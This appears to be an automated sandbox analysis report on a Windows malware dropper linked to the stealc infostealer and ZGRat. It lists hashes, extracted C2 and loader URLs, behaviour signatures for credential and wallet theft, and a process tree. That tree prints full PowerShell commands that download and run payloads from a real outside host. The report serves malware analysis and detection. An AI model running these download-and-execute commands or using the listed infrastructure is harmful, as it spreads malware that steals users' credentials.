Analysis
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max time kernel
134s -
max time network
244s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
06-05-2024 05:11
Static task
static1
Behavioral task
behavioral1
Sample
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Resource
win7-20240221-en
General
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Target
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
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Size
49KB
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MD5
d58a180c5d85448472b4e1007fae4b2a
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SHA1
c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
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SHA256
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
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SHA512
78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/3384-201-0x000001859FD50000-0x00000185A3648000-memory.dmp family_zgrat_v1 behavioral2/memory/3384-202-0x00000185BDE50000-0x00000185BDF60000-memory.dmp family_zgrat_v1 behavioral2/memory/3384-206-0x00000185BDCA0000-0x00000185BDCC4000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 4 IoCs
flow pid Process 16 5020 powershell.exe 18 1708 powershell.exe 19 1708 powershell.exe 22 3756 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 1424 i1.exe 1176 u13k.0.exe 2232 u13k.1.exe -
Loads dropped DLL 3 IoCs
pid Process 4988 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 1176 u13k.0.exe 1176 u13k.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 5020 powershell.exe 1708 powershell.exe 3756 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u13k.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u13k.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u13k.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u13k.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u13k.0.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 5020 powershell.exe 5020 powershell.exe 5020 powershell.exe 1708 powershell.exe 1708 powershell.exe 1708 powershell.exe 3756 powershell.exe 3756 powershell.exe 3756 powershell.exe 1176 u13k.0.exe 1176 u13k.0.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1176 u13k.0.exe 1176 u13k.0.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 5020 powershell.exe Token: SeDebugPrivilege 1708 powershell.exe Token: SeDebugPrivilege 3756 powershell.exe Token: SeDebugPrivilege 3384 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe 2232 u13k.1.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4988 wrote to memory of 4272 4988 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 72 PID 4988 wrote to memory of 4272 4988 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 72 PID 4988 wrote to memory of 4272 4988 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 72 PID 4272 wrote to memory of 5020 4272 cmd.exe 74 PID 4272 wrote to memory of 5020 4272 cmd.exe 74 PID 4272 wrote to memory of 5020 4272 cmd.exe 74 PID 4272 wrote to memory of 1708 4272 cmd.exe 75 PID 4272 wrote to memory of 1708 4272 cmd.exe 75 PID 4272 wrote to memory of 1708 4272 cmd.exe 75 PID 4272 wrote to memory of 1424 4272 cmd.exe 76 PID 4272 wrote to memory of 1424 4272 cmd.exe 76 PID 4272 wrote to memory of 1424 4272 cmd.exe 76 PID 4272 wrote to memory of 3756 4272 cmd.exe 77 PID 4272 wrote to memory of 3756 4272 cmd.exe 77 PID 4272 wrote to memory of 3756 4272 cmd.exe 77 PID 4272 wrote to memory of 2508 4272 cmd.exe 78 PID 4272 wrote to memory of 2508 4272 cmd.exe 78 PID 4272 wrote to memory of 2508 4272 cmd.exe 78 PID 1424 wrote to memory of 1176 1424 i1.exe 80 PID 1424 wrote to memory of 1176 1424 i1.exe 80 PID 1424 wrote to memory of 1176 1424 i1.exe 80 PID 1424 wrote to memory of 2232 1424 i1.exe 82 PID 1424 wrote to memory of 2232 1424 i1.exe 82 PID 1424 wrote to memory of 2232 1424 i1.exe 82 PID 2232 wrote to memory of 3384 2232 u13k.1.exe 84 PID 2232 wrote to memory of 3384 2232 u13k.1.exe 84
Processes
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C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nso5DB1.tmp\app.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1708
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Users\Admin\AppData\Local\Temp\u13k.0.exe"C:\Users\Admin\AppData\Local\Temp\u13k.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1176
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C:\Users\Admin\AppData\Local\Temp\u13k.1.exe"C:\Users\Admin\AppData\Local\Temp\u13k.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3384
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3756
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K i2.bat3⤵PID:2508
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD53cb5bc5436ad68077f7e0813a00ad1c8
SHA1ddd37f2fd4c99a350904f9d7cf520253703533ee
SHA2560ca1832b8d61ed64bbb500251787bbee1f2ab6a8cbd123a007f920ad20b545e7
SHA5123c0ca4dc873b9bf6ca4699aba767448a4e8c59b84fd3f3580fac5e51904912e024b384fbd29a807919089b9fe239b84291d7671594decc118d100d756cdba01d
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Filesize
16KB
MD5e753ae9b4baf7d241018e7599338cdc8
SHA1cd113bfc87ead24ea4b816d1ccd5b92eb65386b2
SHA256adbbf2d1f8eba0590830846ad0ebb8801b27b4d37fce06aa7ec6911ad7b6b326
SHA512c38d824a35afb9e69ca03fd4faa434a76fa4e3ca042471fe9c6f82ff213146115ba3c77b9bf91f1390fa499a415d4189e9b84cc15909c5cb206e5f23f70adb83
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
416KB
MD520bba8104dbb17901ad2fbbb7f589271
SHA1c7f63f4a1b79272d074656643ce97e2fcad515bd
SHA256fc996bee248c9648a5b92ea7b3bc0ccae013a66df014cd1db20adb7d862c4ea7
SHA51254cf3cea6a7743250fb2db37a84e80c8bc4e018cd66a3ce3afcd6e331fb20049626b547420d3eed11167e84bd07374d549c9644a2284e85c0f4f22770ae7611b
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Filesize
3KB
MD52500925263919a5c6a4082b7dcec4d4e
SHA1ea8774ed583245347d2d0deb14e587a4bad316c2
SHA2564cff8b2ea819dbe9f5e191ce300b59716232ed0a46f24a6c1f4f23827605da89
SHA51243aabd436a39082fb3d96cda483e427721255e6406855252ef24634b588f75039e7945ef8e6825fbeeafb7844799d92df9ac730b5ceada72892625b3332653c6
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Filesize
556B
MD51d5830e49fb8ad21e3c1e3333b819e7f
SHA1ee70e4b9c36d0bbcefce139bac51abadbd985197
SHA2568e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80
SHA5121b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb
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Filesize
275KB
MD531c1bdc2c9075e8c2eab9353c41c117f
SHA1ab28fb009dc8c2fa244c773760109e38711b1025
SHA2564e08b9b37494a1917d2ab809fff59b3a45673a80d25587e51c8749331bb56233
SHA51278b995611e33b441e9ebaeecbbce3ec96bbfcac7f71bd0f639ab1e3394900be5c80893dfc8957b696609eca7ce1933d58f026c7be389795f0dcc72ad3fc35593
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d